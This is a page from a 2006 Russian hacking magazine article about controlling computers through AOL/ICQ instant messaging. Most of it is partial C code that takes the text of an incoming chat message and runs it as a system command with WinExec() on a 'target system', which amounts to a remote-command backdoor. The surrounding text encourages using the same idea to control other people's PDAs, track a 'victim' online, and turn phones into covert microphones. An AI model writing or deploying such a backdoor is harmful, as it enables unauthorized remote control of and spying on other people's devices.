Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #63, ФЕВРАЛЬ 2006 г.

нагибаем AOL/MSN

ВОЛЬФ ДАНИЯР AKA PAYHASH

Спецвыпуск: Хакер, номер #063, стр. 063-108-3


mess=(char *)malloc(128, sizeof(char ));

memset(buf, 0, 256);

memset(mess, 0, 128);

//memcpy(mess, messa, sizeof(messa));

memcpy(mess, "READY TO EXECUTE COMMAND", strlen("READY TO EXECUTE COMMAND"));

encode_toc_send_im(buf, remscreenname, messa);

i=0;

i=ntohs(*((u_int16_t *)(buf+4)));

if(

send(sock, buf, i+6, 0) == -1

)else{…}

Теперь рассмотрим участок кода, который будет принимать входящие сообщения и выполнять их как cmd.

memset(buffer, 0, 2048);

memset(remscreenname, 0, 16);

if(

recv(sock, buffer, 2048, 0) == -1

)else{ … }

/*

Проверочка на наличие входящего сообщения: если сообщение имеет флаг IM_IN, значит, это то, что нам нужно.

*/

if( (*((u_int8_t *)(buffer+1)) == 0x02) && (!memcmp(buffer+6, "IM_IN", 5) ) )

{

/*

В теле условия отделяем ICQ-номер от служебной информации и текстового сообщения.

*/

screenlen = 0;

address = (buffer+12);

while(*address != '\x3A')

{

remscreenname[screenlen] = (*address);

screenlen++;

address++;

}

ХХХХХХХХ

/*

Также можно сделать проверку на ICQ-номер — небольшая защита от желающих поживится легкой добычей, оставляю ее на твою самодеятельность.

*/

/*

Отделяем чистое текстовое сообщение от служебной информации и ICQ-номера

*/

address++;

i=0;

i=ntohs(*((u_int16_t *)(buf+4)));

i=i-6-screenlen-1;

memset(messaga, 0, 128);

memcpy(messaga, address, i);

/*

Переменная messaga теперь содержит cmd-команду, которая должна быть выполнена на целевой системе: либо через функцию system(), либо через функцию WinExec() — кому как удобно. Это будет выглядеть примерно так:

*/

WinExec(&messaga, (unsigned int)1);

а что же дальше?

Кстати, обладатели КПК смогут легко написать клиент и для КПК-систем (Palm OS, Windows SE, etc), так как все примеры, которые я привожу, написаны на чистом С (инструментария для разработки программ под КПК сейчас полно). И затем владельцы КПК смогут контролировать чужие КПК ;) или, по крайней мере, всегда быть в курсе того, находится ли «жертва» в online. Думаю, у тебя не возникнет проблем в работе и с сотовыми телефонами, если твой изощренный ум способен выдавать хорошие подходы. Смысл идеи — спровоцировать вызов на свой номер и использовать телефон в качестве микрофона… Однако этот вопрос пока спорный и требует много времени, выпитого пива и обсуждений.

пилите, шура!

В начале весны 2005 года образовался проект ICQKID, в частности, посвященный проблеме RCIOIS. В простейшей вариации были реализованы DLL- и SO/A-модули как для win32-, так и для UNIX(FreeBSD)-систем. С помощью этих библиотек можно работать с ICQ-протоколом, используя простейшие функции этих библиотек.

В ноябре 2005 года московский программист Александр Салиев (автор замечательных статей в Спец) написал вторую и третью версию библиотек ICQKID, усовершенствовав первую. Версии выложены на www.icqkid.com.

Рассмотрим пример работы библиотеки на практике. Подозреваю, что примеры на С уже изрядно надоели всем и хочется попробовать кое-что попроще, например на Delphi :). (Сразу же поблагодарим за консультацию и помощь в области Delphi товарища INF — автора замечательного ICQ-клиента QIP - www.qip.ru.)

Назад на стр. 063-108-2  Содержание  Вперед на стр. 063-108-4